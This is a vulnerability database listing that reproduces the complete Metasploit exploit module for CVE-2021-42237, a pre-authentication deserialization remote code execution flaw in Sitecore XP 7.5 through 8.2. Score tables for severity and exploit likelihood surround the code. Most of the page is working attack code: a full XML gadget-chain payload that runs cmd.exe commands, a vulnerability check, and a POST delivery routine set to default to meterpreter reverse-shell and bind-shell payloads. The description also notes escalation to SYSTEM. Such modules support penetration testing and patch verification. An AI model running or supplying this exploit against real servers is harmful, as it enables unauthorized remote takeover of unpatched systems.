Lucene search

K
zdtMetasploit1337DAY-ID-37051
HistoryNov 16, 2021 - 12:00 a.m.

Sitecore Experience Platform (XP) Remote Code Execution Exploit

2021-11-1600:00:00
metasploit
0day.today
364

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.975 High

EPSS

Percentile

100.0%

This Metasploit module exploits a deserialization vulnerability in the Report.ashx page of Sitecore XP 7.5 to 7.5.2, 8.0 to 8.0.7, 8.1 to 8.1.3, and 8.2 to 8.2.7. Versions 7.2.6 and earlier and 9.0 and later are not affected. The vulnerability occurs due to Report.ashx’s handler, located in Sitecore.Xdb.Client.dll under the Sitecore.sitecore.shell.ClientBin.Reporting.Report definition, having a ProcessRequest() handler that calls ProcessReport() with the context of the attacker’s request without properly checking if the attacker is authenticated or not. This request then causes ReportDataSerializer.DeserializeQuery() to be called, which will end up calling the DeserializeParameters() function of Sitecore.Analytics.Reporting.ReportDataSerializer, if a β€œparameters” XML tag is found in the attacker’s request. Then for each subelement named β€œparameter”, the code will check that it has a name and if it does, it will call NetDataContractSerializer().ReadObject on it. NetDataContractSerializer is vulnerable to deserialization attacks and can be trivially exploited by using the TypeConfuseDelegate gadget chain. By exploiting this vulnerability, an attacker can gain arbitrary code execution as the user that IIS is running as, aka NT AUTHORITY\NETWORK SERVICE. Users can then use technique 4 of the β€œgetsystem” command to use RPCSS impersonation and get SYSTEM level code execution.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sitecore Experience Platform (XP) PreAuth Deserialization RCE',
        'Description' => %q{
          This module exploits a deserialization vulnerability in the Report.ashx page
          of Sitecore XP 7.5 to 7.5.2, 8.0 to 8.0.7, 8.1 to 8.1.3, and 8.2 to 8.2.7.
          Versions 7.2.6 and earlier and 9.0 and later are not affected.

          The vulnerability occurs due to Report.ashx's handler, located in Sitecore.Xdb.Client.dll
          under the Sitecore.sitecore.shell.ClientBin.Reporting.Report defintion, having a ProcessRequest()
          handler that calls ProcessReport() with the context of the attacker's request without properly
          checking if the attacker is authenticated or not.

          This request then causes ReportDataSerializer.DeserializeQuery() to be called, which will
          end up calling the DeserializeParameters() function of
          Sitecore.Analytics.Reporting.ReportDataSerializer, if a "parameters" XML tag is found in
          the attacker's request.

          Then for each subelement named "parameter", the code will check that it has a name and
          if it does, it will call NetDataContractSerializer().ReadObject on it. NetDataContractSerializer is
          vulnerable to deserialization attacks and can be trivially exploited by using the
          TypeConfuseDelegate gadget chain.

          By exploiting this vulnerability, an attacker can gain arbitrary code execution as the user
          that IIS is running as, aka NT AUTHORITY\NETWORK SERVICE. Users can then use technique 4
          of the "getsystem" command to use RPCSS impersonation and get SYSTEM level code execution.
        },
        'Author' => [
          'AssetNote', # Discovery and exploit
          'gwillcox-r7' # Module
        ],
        'References' => [
          ['CVE', '2021-42237'],
          ['URL', 'https://blog.assetnote.io/2021/11/02/sitecore-rce/'],
          ['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776'],
        ],
        'DisclosureDate' => '2021-11-02',
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false, # Gains NT AUTHORITY\NETWORK SERVICE privileges. Possible to elevate to SYSTEM but this isn't done automatically.
        'Targets' => [
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_bind_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :win_dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'PowerShell Stager',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :psh_stager,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 1,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path of Sitecore', '/'])
    ])
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'sitecore', 'shell', 'ClientBin', 'Reporting', 'Report.ashx')
    )

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    unless res.code == 200 && res.body.include?('Sitecore.Analytics.Reporting.ReportDataSerializer.DeserializeQuery')
      return CheckCode::Safe('Target is not running Sitecore XP or has patched the vulnerability.')
    end

    return CheckCode::Appears('Response.ashx is accessible and appears to be deserializing data!')
  end

  def xml_payload(cmd)
    %|<parameters>
        <parameter name="">
            <ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
                xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"
                xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
                xmlns:x="http://www.w3.org/2001/XMLSchema"
                xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">
                <Count z:Id="2" z:Type="System.Int32" z:Assembly="0"
                    xmlns="">2</Count>
                <Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0"
                    xmlns="">
                    <_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0"
                        xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic"
                        xmlns:a="http://schemas.datacontract.org/2004/07/System">
                        <Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0"
                            xmlns="">
                            <a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly>
                            <a:delegateEntry z:Id="7">
                                <a:assembly z:Ref="6" i:nil="true"/>
                                <a:delegateEntry i:nil="true"/>
                                <a:methodName z:Id="8">Compare</a:methodName>
                                <a:target i:nil="true"/>
                                <a:targetTypeAssembly z:Ref="6" i:nil="true"/>
                                <a:targetTypeName z:Id="9">System.String</a:targetTypeName>
                                <a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type>
                            </a:delegateEntry>
                            <a:methodName z:Id="11">Start</a:methodName>
                            <a:target i:nil="true"/>
                            <a:targetTypeAssembly z:Id="12">System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly>
                            <a:targetTypeName z:Id="13">System.Diagnostics.Process</a:targetTypeName>
                            <a:type z:Id="14">System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type>
                        </Delegate>
                        <method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0"
                            xmlns=""
                            xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">
                            <Name z:Ref="11" i:nil="true"/>
                            <AssemblyName z:Ref="12" i:nil="true"/>
                            <ClassName z:Ref="13" i:nil="true"/>
                            <Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature>
                            <Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature2>
                            <MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType>
                            <GenericArguments i:nil="true"/>
                        </method0>
                        <method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0"
                            xmlns=""
                            xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">
                            <Name z:Ref="8" i:nil="true"/>
                            <AssemblyName z:Ref="6" i:nil="true"/>
                            <ClassName z:Ref="9" i:nil="true"/>
                            <Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature>
                            <Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2>
                            <MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType>
                            <GenericArguments i:nil="true"/>
                        </method1>
                    </_comparison>
                </Comparer>
                <Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2"
                    xmlns="">
                    <string z:Id="25"
                        xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">/c #{cmd.encode(xml: :text)}</string>
                    <string z:Id="26"
                        xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">cmd.exe</string>
                </Items>
            </ArrayOfstring>
        </parameter>
    </parameters>|
  end

  def exploit
    case target['Type']
    when :win_cmd
      print_status('Executing command payload')
      execute_command(payload.encoded)
    when :win_dropper
      execute_cmdstager
    when :psh_stager
      execute_command(cmd_psh_payload(
        payload.encoded,
        payload.arch.first,
        remove_comspec: true
      ))
    end
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'sitecore', 'shell', 'ClientBin', 'Reporting', 'Report.ashx'),
      'ctype' => 'text/xml',
      'data' => xml_payload(cmd)
    )
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.975 High

EPSS

Percentile

100.0%